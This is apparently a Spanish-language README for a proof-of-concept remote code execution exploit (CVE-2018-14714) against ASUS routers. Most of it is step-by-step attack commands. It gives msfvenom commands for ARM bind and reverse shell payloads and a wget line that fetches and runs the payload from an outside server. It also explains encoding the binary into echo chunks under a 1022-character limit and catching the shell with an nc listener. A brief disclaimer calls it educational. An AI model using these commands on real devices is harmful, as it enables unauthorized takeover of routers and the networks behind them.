
ASUS wifi router RCE vulnerability
Vulnerabilidad RCE en routers WiFi ASUS
Este PoC es solo con fines de aprendizaje e investigación. No lo utilices para actividades ilegales; eres el único responsable de cualquier consecuencia legal.
En la demostración a continuación, el modelo de dispositivo probado es un ASUS RT-N18U, la versión de firmware es 3.0.0.4.378.9216., un router que compré durante mis años universitarios. Ahora es mi máquina de prueba :)
Condiciones de explotación
Necesitas instalar las dependencias:
$ python3 -m pip install requestsEjecuta el script directamente para obtener instrucciones de uso. Puedes ejecutar el comando a continuación para verificar si el objetivo es vulnerable.
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

Puedes usar el comando msfvenom para generar un ejecutable binario ligero de shell inversa. Puedes modificar los parámetros según el entorno del kernel con el que estés trabajando. En mi caso, es armv7l, y el comando es el siguiente:
Shell de enlace
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

Shell inversa
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Si tu dispositivo objetivo tiene el comando wget disponible, después de comenzar a escuchar en el puerto 4444, puedes usar el siguiente comando en una pseudo-shell para obtener una shell inversa:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
Si tu entorno objetivo no tiene ningún comando de acceso a recursos remotos integrado, continúa leyendo.
Convierte el archivo binario generado en datos binarios.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

Para confirmar la existencia de una vulnerabilidad en el objetivo, vuelve a ejecutar el script de Python con los parámetros de shell añadidos para entrar en una pseudo-shell interactiva. Ten en cuenta que es normal si los comandos no producen ninguna salida, ya que no hay un lugar para recibir stdout. Sin embargo, usar el comando sleep puede ayudarte a verificar que los comandos se han ejecutado.

Además, es importante tener en cuenta que, según las pruebas, la línea de comandos permite un máximo de 1022 caracteres. Necesitas construir comandos que tengan menos de 1022 caracteres de longitud. Por lo tanto, necesitarás dividir manualmente el payload y ejecutarlo en partes para asegurarte de que nuestro comando se ejecute correctamente.

A continuación, obtengamos una shell inversa real. Puedes comenzar escuchando en el puerto especificado.
$ nc -lvnp 4444
Ejecuta el script de Python PoC para obtener una pseudo-shell e inyectar el payload.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

Finalmente, solo queda disfrutar de tu shell inversa adquirida :)
